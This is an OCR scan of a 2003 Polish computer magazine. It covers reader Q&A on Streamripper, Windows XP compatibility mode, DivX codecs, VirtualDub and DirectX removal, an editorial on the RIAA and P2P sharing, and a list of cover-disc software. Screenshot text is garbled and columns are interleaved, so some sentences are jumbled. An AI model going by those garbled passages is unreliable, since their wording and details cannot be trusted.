sporo ciekawych gier w Javie. Dobre
wrazenie robi bardzo czytelnie zorgani-
zowana baza opisow telefonéw i wska-
zowek dotyczacych ich uzytkowania.
Oczywiscie Scigganie dzwonkow czy
grafik jest ptatne.

www.mobhile.net.pl Jt m
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. Komputer wymaga od uzyt-
kownikow specjalistycznej
wiedzy, ktora nabywamy
"5 wraz z doswiadczeniem.
Warto korzystac z podpo-
wiedzi, by nie traci¢ czasu
na poszukiwanie rozwiaza-
y ‘ nia problemu. Dla jednych
oczywistego, dla innych
niekoniecznie...

Na stronach Porady Eksperta moz-
na znalez¢ rozwiazania typowych
problemow trapiacych uzytkownikow
komputeréw. Pytania opublikowane
w tym wydaniu zostaty wybrane z li-
stow nadestanych do redakcji przez
Czytelnikow drugiego wydania na-
szego magazynu.

-

Jezeli masz problem z kompute-
rem i nie potrafisz nigdzie znalez¢
odpowiedzi - zapytaj Eksperta. Re-
dakcja postara sie podac rozwiaza-
nie.

E-maile z krotkimi pytaniami do-
-~ tyczacymi obstugi komputera prosi-
my przesytaé na adres:

porady@ks-ekspert.pl

Najciekawsze i najczesciej sie po-
wtarzajace pytania wraz z odpowie-
dziami opublikujemy na tamach na-
stepnego wydania Eksperta.

Strumiert MP3 na dysku

Czy istnieje mozliwosé zgrywa-
nia na dysk strumienia MP3
z radia internetowego?

Tak. Strumien MP3 z rozgtosni
internetowych mozna zapisywacé na
dysku na przyktad za pomocg wtycz-

JAZZMUSIQUE - Smooth & Stylish Dawnt.,

[S.42mM] - I bukem - aur world journey in

SHOUTcast'SolarisSparc w1,9.2
128kbit Metalnti 24576

Ripping...

!'-Smrt i I‘Smp i
80 czerwieC-LiPIEC 2003 [ oo
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Stare programy i WinXP
Nie moge zainstalowaé¢ lub
uruchomié niektérych, zwtasz-
cza starszych programéw

w Windows XP.

Niektore programy, szczegélnie te
projektowane dla starszych wersji
systemu operacyjnego Windows, na
przyktad 95, moga nie dziata¢
w Windows XP Microsoft nazywa to
Zjawisko problemem ze zgodnoscig
programaéw lub aplikacji. Uzytkownik
moze temu zapobiec.

Mozna sprawdzi¢, czy w interne-
cie nie ma dostepnych aktualizacji
lub poprawek do danej aplikacji.
Odpowiedni plik moze by¢ dostepny
na witrynie autoréw programu lub na
stronie Windows Update.

Jesli korzystamy z funkcji szyb-
kiego przetaczania uzytkownikow
i w systemie zalogowanych jest kil-
ku uzytkownikow, sprobujmy wylo-
gowac wszystkich, z wyjatkiem kon-
ta uzywanego do instalowania pro-
gramu. Niektore programy wymaga-
ja do zainstalowania uzycia konta
Z uprawnieniami administratora. Ist-
niejg rowniez aplikacje, z ktorych
mozna korzystac tylko z poziomu
konta administratora. Windows XP
ma whudowany specjalny mecha-

ki do programu Winamp, 0 nazwie
Streamripper. Aplikacja potrafi prze-
chwytywac sygnat nadawany w stan-
dardzie SHOUTcast, spis takich ra-
diostacji dostepny jest pod adresem
www.shoutcast.com Program

w obecnej wersji nie potrafi prze-
chwytywac strumienia RealAudio

i WMA, a takze OGG Vorbis. Po za-
instalowaniu plug-ina uruchamia sie
razem z Winampem, jego ikonka wi-
doczna jest w zasobniku systemo-
wym. Przed rozpoczgciem zgrywania
nalezy w opcjach Streamrippera
wskazac katalog, w ktorym bedg za-
pisywane przechwytywane pliki, kli-
kajac na [Bztedl | nastepnie

i [Dutput Direstorp], Kazdy utwor mu-
zyczny moze byc zapisany jako plik,
a jesli rozgtosnia razem ze strumie-
niem przekazuje informacje o utwo-
rach, kazdy plik moze mie¢ nadany
odpowiedni tytut. Na CD Eksperta za-
mieszczone sg dwie wersje Stream-
rippera, jedna dla Winampa serii

2., druga dla serii 3.x.

nizm, pozwalajgcy uruchamiac pro-
gramy w trybie odzwierciedlajgcym
Srodowisko wezesniejszych wersji
systemow Windows, tak zwany
Kreator zgodnosci programow.
Narzedzie Kreator zgodnosd programdv|

$ci dla programu, na liscie mamy
wszystkie odmiany systemow Win-
dows, poczawszy od wersji 95.

Jesli nie chcemy korzystac z kreato-
ra, odpowiedni tryb zgodnosci moz-
na ustawi¢ we wiasciwosciach pliku
wykonywalnego danego programu.
Aby to zrobic, Klikamy prawym przy-
ciskiem myszki na pliku EXE, wybie-
ramy i przechodzimy
do zakladki [ZgedneZ€] . Zaznaczamy
opcje @ iz listy wybieramy jedno

z dostepnych polecen, po czym
zatwierdzamy zmiany, klikajac na

[ 1

dostepne jest w menu (@ start]

odpowiadajgcy tej starsze] wersji.

ECiwnsCi:
Wiasciwosci: Abuse
Dgélnel Skrdt  £godnosc |Zabezpieczenia|

Jegli masz problemy z tpm programem. a dziskat on poprawnie w
starsze] wersji spstemu Windows, wobierz tryb zgodnosci

2] x|

— Tiyb zgodnodci

¥ “Uruchom ten program w tpbie zgodnogci 2:

95

98 / Windows Me
— Wwindows MT 4.0 [Service Pack 5]
windows 2000

|

I Omcham w256 Eolorach

I wikacz kompozycie wizualne

[ Unuchom w rozdzielczogei ekranu 640 » 480

potem

i [Akcesoria |

Po uruchomieniu aplikacji nalezy
wskaza¢ program, ktory nie dziafa
zgodnie z naszym oczekiwaniem —
kreator moze przeskanowac dysk
twardy w poszukiwaniu zainstalowa-
nych programdw lub mozemy sami
wskazac jego lokalizacje. Kolejnym
krokiem jest wybranie trybu zgodno-

Windows XP nie ma bibliotek od-
powiedzialnych za wySwietlanie gra-
fiki trojwymiarowej w trybie OpenGL,
ich brak moze powodowac niepra-
widfowe dziatanie niektorych gier.
Nalezy wowczas zainstalowac nowe
sterowniki do karty graficzne;.
Wiekszos¢ udostepnianych obecnie
pakietow sterownikow zawieraja bi-
blioteki do obstugi OpenGL.

Loancadec =T
Pl o | ook iy |
| ' Oiwinz [ Czpif kst perad obwarcis [~ Zapiss naghiwek plio Fa i 2 o |
bl b
I~ Podivideny -
W Seldi | Mis pokany cindek Ekspotu oty | | Wiricw |
Hazws V. nanwa kodeka A1 naowa kodska
CADIR Dt w3 ) MPEG 4 [Lowe Motian]

| L] |
Pk - G0 M (R0 ME) cras 1-20 06, todza; AV1, 1 Scisskali) audio, jkodd G4 X Wish
[Video : 616 MB. 962 Kbps. 25.0 ips. soadz. 576°240 (2.21:1). DIV3 = Dinixl v3 ) MPEG4 [Low-Motion). Obshugweans ‘wiab
faubo . B2 MB, 127 Kbps, 44100 Hz, 2 kanstyl U5 = Mpeg] audo Layer 3[MP3), Obstugwene =] web

Niekompatyhilne kodeki

Gdy probuje otworzyé film
DivX, system wyswietla komu-
nikat o nieznanym formacie.
Mam zainstalowany kodek
DivX 5.02. Co robi¢?

DivX 5 niestety nie jest w stanie
Zapewni¢ nam poprawnego odtwa-
rzania wszystkich filmow. Kodek
DivX rozwijany byt w wielu osob-
nych projektach, co spowodowato
powstanie réznych, nie do konca
kompatybilnych ze sobg wersji. Film
zakodowany DivX-em w wersji 3
moze nie by¢ poprawnie odtwarzany
przez system wyposazony w tylko
piata wersje DivX-a. W internecie

krzg rozmaite pakiety kodekow. In-
stalacja kilku takich pakietow wpro-
wadza batagan do systemu i nie jest
zalecana. Na krazku Eksperta za-
mieszczony jest optymalny zestaw
plikow, ktore nalezy instalowac

w odpowiedniej kolejnosci: kodek
DivX 5, filtry wideo ffdshow
alpha oraz filtry dzwigku: AC3 i
0gg. Aby unikna¢ ewentualnych
konfliktow, wczesniej nalezy odin-
stalowac z systemu wszystkie kodeki
powigzane z formatem DivX. Na
krazku Eksperta znajdziemy rowniez

do stworzenia plikow AVI.



DivX na starym Pentium

Czy jest szansa ogladania fil-
mow DivX na starszym kompu-
terze klasy Pentium?

Uzytkownicy starszych kompute-
row, wyposazonych w procesory
taktowane zegarem okoto 300
MHz, filmow DivX w wysokiej roz-
dzielczo$ci nie obejrza, ale po jej
obnizeniu jest to mozliwe. Musimy
mie¢ jednak karte graficzng z mini-
mum 8 MB pamieci i karte dZwie-
kowa na zigczu PCI. Operacje zmia-
ny rozdzielczosci mozna wykonac
programem VirtualDub. W menu
wybieramy pozycje
[Open wideafile.. |, wezytujemy film

Usuwanie DirectX 9
Jak odinstalowac DirectX 9?
Bibliotek DirectX
oficjalnie nie
mozna usungé
: z systemow Win-
Direct dows, Microsoft
nigdy nie udostepnit odpowiednie-
go narzedzia. Na niektorych kom-
puterach, zwfaszcza tych starszych
generacji, zainstalowanie nowej
wersji pakietu DirectX moze powo-
dowac nieprawidtowe dziatanie
niektorych programow, na przyktad
starszych gier.
Jezeli pracujemy w systemie
Windows 2000/XP to istnieje mozli-
woS¢ przywrocenia poprzednie;

DivX; nastepnie przechodzimy do
opciji [idea], potem

i [2dd.]. Z dostepne] listy wybiera-
my [resize ]. Teraz musimy poda¢
nizszg rozdzielczo$c.

Kolejnym krokiem jest wybor
odpowiedniego kodeka — przecho-
dzimy do menu [#idea], nastgpnie
[Eempression...|, wybieramy kodek
DivX, w menu zaznaczamy
opcje (@ Flprocessing made], 4 w me-
U [fadic] — (& Dvect siream copy].
Zapisujemy film jako nowy plik.

Z menu wybieramy pozycije

[5ave as AUL.J. Rozpoczyna sig pro-
ces zmiany rozdzielczosci filmu. Na
komputerze z procesorem 266 MHz

Dub in progress!

Wideo data:
Audio data:

virtualDub Status - [film.avi]

Current video frame:

Current audio zample; B4REETE/EE018304

Projected file size:
Widea rendering rate
Time elapzed:

Total time [estimated]; 48:04

Main | videa | Pett |

B513/134412

[ 31.2MB[34KB/)

BR37KE
[ Gra2Me
[ 50df
o

™ Show input video

I ™ Show output vidso

Progress: [ ]
Processing thiead priority: | Marmal x

Abart | |

al o ) ]| 1| || 2| &| < || [FrameD@ORTODO K]

operacja trwa okoto pieciu godzin. | 4
DirectX Eradicator 1.09 PR1 X
s witaz do stacji dyskdw CD-ROM [E:) dysk CD
@ [i=E needs to restart your computer. Press OK to restart now. \\‘{% oznaczony Diysk CO-ROM dodatku Service Pack 1

na przywrocic takze poprzez reinsta-
lacje systemu Windows. Na krgzku
biezgcego wydania Eksperta za-
mieszczona jest aplikacja

DirectX Eradicator, ktora usuwa
biblioteki DirectX w wersjach 2-9,
zaréwno w systemach Windows i-
nii 9x, jak i 2000/XP Jest to narzg-
dzie nieoficjalne, pozbawione
wsparcia technicznego, zardwno
autor programu, jak i redakcja Eks-
perta nie ponoszg odpowiedzialno-

DirectX Eradicator 1.09 PR1

@ Thiz will unitztall the Direct caore component. Do you want to continue?

zystemu Windows =P Profeszional” i kliknij prapcisk OFK. Anul |

Aby skopiowad pliki z inne| lokalizacji, na prayktad z
dyskietki lub serwera sieciowega, rdwniez kliknij

.';?j
4

praycisk Ok,

skomplikowana, sprowa- A

dza sie do klikniecia 0 koniecznosci umieszczenia w na-
~na @ woknie programu. Wszystkie 1 pedzie piyty instalacyjnej systemu

operacje zostang wowczas przepro- { Windows @. Jezeli na dysku twar-

wadzone w tle, po czym na ekranie | dym mamy skopiowany z krazka ka-

ukaze sie komunikat informujacy talog 1386, klikamy wowczas na @----------

uzytkownika o konieczno$ci ponow- | a nastepnie wskazujemy odpowied- i

nego uruchomienia systemu @:-----: nig Sciezke. Program kontynuuje 2

Aby odinstalowac biblioteki swoje dziatanie, na zakoriczenie wy- e

DirectX w systemach Windows Swietla okno z komunikatem 0 ko- o

2000/XP uzytkownik musi zalogo- niecznosci zrestartowania systemu. ;

wac sie na konto z upraw- '

nieniami administratora.

BQdZiemy pOtrZebOWa” f_) Potrzebne 5 pevne pliki 2 Dpsk CO-ROM systemu

rowniez pfyty CDz Wersja \:a Windows P Professional

MNie |

wersji DirectX, ale tylko wowczas,
jezeli przed instalacjg wersji 9 usta-
wilismy punkt przywracania syste-
mu. Domysing wersje DirectX moz-

$ci za ewentualne szkody wynikajg-
ce z nieprawidtowego dziatania
aplikacji. Obstuga programu w sys-
temach Windows 98/Me nie jest

i j¥1G PowerTools 1.0 - Dpcje rejestru

=101 x|

Menu kontekstoves IE
Menu Otwdne .7

O @ Audacky1.00

Dk Whbicrz  Sortuj | yszubaj B

- Fumnkege | [P
mﬂ O@® rsp2abeta
Odierstalug @ Abivend liemmove only)
Tiew paom I @ ACTFiker [remeove only)
Mowe pliki @ Adabe Acrobat 5.0
Rzszeizenia powkoki | | L@ Adobe Photoshop 7.0.1

0@ 2ir-Tah Task Switcher Pravertoy for Windoses XP

* | O @ Calculator Powertoy tor Wirdows XP

0@ Diweb Plugdn Moduile for TheBatl Version 4.29

[ Informacia - | |O@ CickMasten
podéwiclion 0 [J@® CmdHere Powertoy For Wirdows %P
zaznaczono:
dostepripch: 95 0@ CPUbum

L * | 0@ DeliPlayer 2.00

 Pomoc . | 0@ nialngueSrience Dr'weh
Programy dostepre z [0 @ Div{ 5.0.2 Dundle
panchu sterowania
Doda/Usur
programy”. Moseszje | | ] @ Chapeit CD
odinstalowaé albo @ tdshow [remove only)
usunat 2 bej listy. C1@ FileZilla e urdy)

[ ® FlachGel)etCa)
O @ foobar2000
. ol
3

Odenies Zuieri nazwe

Oukrstaha Zamkiij

Usr'l
T

instalacyjng systemu lub
plikow z katalogu 1386
(pochodzacego z krgzka
Windows), skopiowanych
na dysk twardy. Urucha-
miamy program, po chwili
aplikacja informuje nas

wikaz Dyzk CO-ROM sustemu windows =P
Profeszional do wybrane| ponizej stacii i kliknij praycizk
oK.

Kopiuj pliki 2:
|[BRCS

Lista Dodaj/Usun
programy

Jak usunaé wpis z listy progra-
mow w narzedziu Dodaj/Usun
programy?

Mozna to zrobi¢ na przykfad za po-
mocg programu jv16 PowerTools,
zamieszczonego na CD w tym wyda-
niu Eksperta. Aplikacja, bazujac na
wpisach w Rejestrze Windows, two-
rzy liste programow, ktore sg obecnie
zainstalowane, a takze i tych, ktore
pozostawity w systemie informacje
0 sobie, na przyktad po niepopraw-
nym odinstalowaniu. Po uruchomie-
niu programu klikamy na [Decie reiestu
W dolnej czesci pojawiajacego sie

@ Warto zajrzeé... |

® www.shoutcast.com
http://streamripper.sourceforge.net

www.nvidia.com
www.ati.com
www.voodoofiles.com
www.s3graphics.com

www.cdrinfo.pl
o http://divx.pl
o www.divx-digest.com

okna znajduje sie przycisk @, za
pomocg ktdrego mozemy usuwacé
wybrane wpisy z listy. MV =
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yrok wreszcie zapadt.
W walce producen-
tow muzycznych,
zrzeszonych w organizacji RIAA (Re-
cording Industry Assotiation of Ame-
rica), z milionami internautéw kopiu-
jacymi muzyke MP3 w sieciach peer-
-to-peer amerykanski sad nie przy-
znat racji tym pierwszym. W procesie
RIAA przeciw dwom operatorom sieci
p2p orzeczono, ¢ ci ostatni nie sg
winni wykorzystywania ich progra-
mow do famania prawa, czyli wymia-
ny plikow. Internauci wiwatujg.

A byto tak: Kilka lat temu progra-
misci wymyslili sposéb kompreso-
wania utwordw muzycznych do tego
stopnia, zeby mozna je byto szybko
przesytac przez internet. W sieci po-
jawity sie tatwo dostepne kolekcje
plikow. mp3, oczywiscie za darmo.
Producenci nie mogli przygladac sie
temu bezczynnie. Ruszyta lawina pro-
cesow o famanie praw autorskich.
Przed sadami stawali wasciciele ser-
werow z trefnym towarem oraz co ak-

tywniejsi internauci. Wkrétce niele-
galne pliki zniknety z sieci. Jednak
tylko z oficjalnego obiegu. Przeniosty
sie do sieci peer-to-peer (Ekspert pi-
sat 0 nich w poprzednim numerze).
Tam jest bezpieczniej. Zdecentralizo-
wany charakter tych sieci oraz spryt-
ne mechanizmy ukrywania tozsamo-
$ci 0soby udostepniajgcej pliki spra-
wiaja, ze nie bardzo wiadomo, kogo

i w jaki sposab $cigac.

Ostatnio poradzono sobie i z tym
problemem. Przed sadem postawio-
no i skazano na kary wysokich grzy-
wien miedzy innymi czterech amery-
kanskich studentow, udostepniaja-
cych pliki muzyczne w lokalnych sie-
ciach p2p. Trudno jednak wezwaé
przed oblicze Temidy kilkaset milio-
now 0s6b, na tyle bowiem ocenia sie
uzytkownikow tych sieci.

RIAA od lat zaciekle walczy z pi-
ractwem. Ucieka sie przy tym do roz-
nych metod, podobno nie zawsze le-
galnych. Pono¢ to wiasnie ona stoi za
unieruchomieniem weztow IRC ogol-

no$wiatowej sieci DALnet. Akcja
miafa by¢ odwetem za tolerowanie
przez adminow pirackich plikow.
Mawi sie tez, ze na jej zlecenie pisa-
ne sg konie trojanskie, ktore maja
zwalcza¢ interngtowych piratow. RIAA
ma tez rozpowszechniac w sieci co-
raz wigcej tak zwanych fake’ow (czyli
plikw o fatszywej zawartosci).

Wedtug producentéw muzycznych
na skutek rozwoju sieci p2p sprzedaz
ptyt CD z muzykg spada rocznie o kil-
ka procent. To ogromne pienigdze.
Nic wiec dziwnego, ze RIAA, nazywa-
na zbrojnym ramieniem koncernow
muzycznych, tak chetnie sigga po Kij.
Mozna jednak inaczej, a udowodnit to
Apple. Firma od niedawna oferuje
w internecie muzyke do $ciggniecia
po bardzo atrakcyjnych cenach. Pio-
senka za dolara. Witryna ruszyta na
przefomie kwietnia i maja, po tygo-
dniu podano pierwsze dane. W ciggu
siedmiu dni internauci kupili ponad
milion utworGw!

Firma Apple pokazata, ze mozna
sprzedawac muzyke znacznie tanie
niz dotychczas i nadal jest to rentow-
ny biznes. Przy okazji przekonano sig
0 jeszcze jednym bardzo waznym
fakcie: internauci wcale nie cheg ni-
kogo okradag. Kopiujg, bo tak jest
prosciej i wygodniej, lecz jezeli be-
dzie trzeba, to chetnie za to zaptaca.
Byle nie jak za zboze... wm

Spis programéw na ptycie

]

" PELNE WERSJE

{

>

BurnDrive 1.0.1.3

CDBurnerXP Pro version 1.1.5

CloneCD 4.2.0.2
ClonyXXL 2.0.1.4c
ClonyXXL 2.0.1.4¢

CoffeeCup Direct FTP 5.2
CoffeeCup Firestarter 6.0
CoffeeCup HTML Editor 9.5
CoffeeCup PopUp Blocker 3.0
CoffeeCup Spam Blocker 2.0

Cool Edit Pro 2.1

CoolMon version 1.0 RC2

CPU-Z 117
CPUburn 1.4

Moho 4.0.2
mp3DirectCut 1.30
MultiProxy 1.2

Nero Burning ROM 5.5.10.15a
Nero Burning ROM 5.5 PL

PL

Nero Info Tool 1.03.3

Rage3D Tweak 3.8c

[ ]

.

{

°

[ ]

°

e Nero BurnRights 1.0
°

[}

°

[ ]

e RateXCalc Q.1
[ ]

Codec 9x/2000/XP
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e

NTI CD-Maker 6 Platinum
PowerGG PowerPack 1.5.15

REALmagic MPEG-4 Video

Remote Administrator 2.1

e Desktop Orbiter 2.0 ® Remote Task Manager 3.7.51
e DVDRIip 1.0 e Dev-C++5.0 beta7(4.9.7.0) e RemoteExplorer 01.802
o Restorator 2003 PL e Digital Mars C and C++ o RemotelyAnywhere 4.10
Edycja Specjalna Compiler v.8:32 ® RivaTuner 2.0 v2.0 RC 121
e CoffeeCup GIF Animator 6.2 e DivX4.12% ® Sothink Glanda 2001a
w8 DivX'5.0.5 Bundle ® Steganos Internet Privacy 2.12
WINDOWS o Easy Burning 1.4 e Streamripper 1.53 for
3D Flash Animator 4 ® Feurio 1.66 Winamp3 Plug-in
AC3Filter 0.66b o ffdshow-alpha 20030103 e Streamripper 1.54 for
Active Network Monitor 1.2 e GhostSurf 2.0 Winamp2.x Plug-in
AdRem NetCrunch 2.3 e Cordian Knot Rip Pack 0.27 e Swish 2.01
Alcohol 120% 1.4.1.221 o Cordian Knot System Pack 1.0 @ Tiger Il Millenium dla
ANASIL 2.2 o Hot CPU Tester 3.4.2 (Lite) Windows 1.0.13
Anonymizer Privacy Toolbar e IfoEdit 0.95 ® TMPGEnc Version 2.510
AntiFirewall 1.1 e |ImgTool Classic 0.90 e TVTool 6.84.4
Audiograbber 1.82 build 2 ® jv16 Power Tools 1.3.0.196 o Tweak Ul 1.33
Audiograbber 1.82 PL e KoolMoves 3.70 e VCDEasy vl.l.5
AutoRun Wizard v1.00 e Macromedia Flash MX o Virtual Pascal v2.1
AVlcodec v1.09 e Macromedia Shockwave o VirtualDub v1.5.1
Babarosa Gif Animator 3.5 Player MX ® Visual Basic Control Creation
Bones CCD4 Profiler v1.2 Memtest86 v3.0 Edition 5.0

e VNC3.3.6

o VP Remote Control 5
o Winamp 2.91

e Winamp 2.91 PL

o Winamp 3

e Winamp 3 PL

e Xara3D5

e Xara3D 5.0 PL

e XviD 16/02/03

POPRAWKI
® DirectX 9.0
e DirectX Eradicator 1.09 beta
e Service Pack 1a dla Win XP

STEROWNIKI

e ATI Catalyst 3.2 9x/2000/XP
e ForceASPI 1.7

® Matrox 5.82 9x/2000/XP

o Nasty File Remover 0.6

e nForce 2.03 98/Me/XP

o NVIDIA Detonator XP 43.45
98/Me/2000/XP

Realtek AC'97 Audio A3.42
SiS Xabre 3.10

VIA AC'97 ComboAudio v3.50b
VIA Hyperion 4inl 4.46

LINUX

arson 0.9.7

bchunk v1.11

Burn Baby Burn 0.0.4
dvd:rip 0.50.8

Gnome Toaster 2001-03-18
MPlayer 0.90RC4

Remote Desktop Client 1.2.0
Sambav. 2.2.8a
subtitleripper 20021030
transcode 0.6.3
VCDImager 0.713

VNC 3.3.3R2
webmin-1.070

Z CZASOPISMA

o Kompletne kody zrodtowe oraz
pliki projektdw do programdw stwo-
rzonych w tym numerze Eksperta

o Crafiki wykorzystane we wska-
zowkach do Photoshopa oraz GIF
Animatora
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IN TERIAE’L
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/A przejezdza ostatni
"B ma pierwszenstwo przed pojazdem 2

'." ma pierwszenstwo przed pojzzae n 3

——

- Mﬂ‘— \
| - a‘.g"w" e Pa.fcmm 3 sz wydawac kilkadziesiat ztotych na ksiazke?
ux.tf"*\ Te a'przvotmesz sie do egzaminu teoretycznego za jedyne 2 zH*
',f,s-’"_ = Sprawdz juz dzis na www.prawojazdy.interia.pl

Znajdziesz tam wszystkie aktualnie obowigzujace pytania egzaminacyjne.

Sprawdzisz réwniez swoja wiedze podczas testu,
ktory przebiega doktadnie tak samo, jak na egzaminie panstwowym.

www.prawojazdy.ipiefia.pl
Twoj sposdb na egzamin!

* Koszt netto dostepu do testdw i pytan testowych
na okres 24 h ( koszt brutto 2,44 zt )

www.interia.pl



POROWNAJ Z NAJLEPSZYMI

aparat cyfrowy
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interpolacja sprzetowa

MEGA PIXEL DIGITAL CAMERA

+ Wbudowane 16MB pamigci FLASH (do 15 obrazéw hi-res,
do 25 obrazow mid-res, do 40 obrazow lo-res, do 100 obrazow SVGA) |

- Oprogramowanie: Photo Impression 4.0, Photo Base 3.0, h ¢
S|

* cena netto aparatu MT 408, | **

5
Video Impression 1.6, Fun House
ekran TFT LCD )_;\

+ Wbudowana lampa btyskowa z redukcija
»czerwonych oczu”

; * 4x cyfrowe powigkszenie
muﬂ /e/ « Makro 20 ~ 25 cm

- Obstuga kart pamieci SD, MEm

* Wbudowany 1,5” kolorowy

- Wyjscie wideo sygnatu niskiej czgstotliwosci
+ Mozliwosé mocowania do statywu
- Bardzo mate rozmiary

m e d i¥a¥=t¥e*c h www.media-tech.pl
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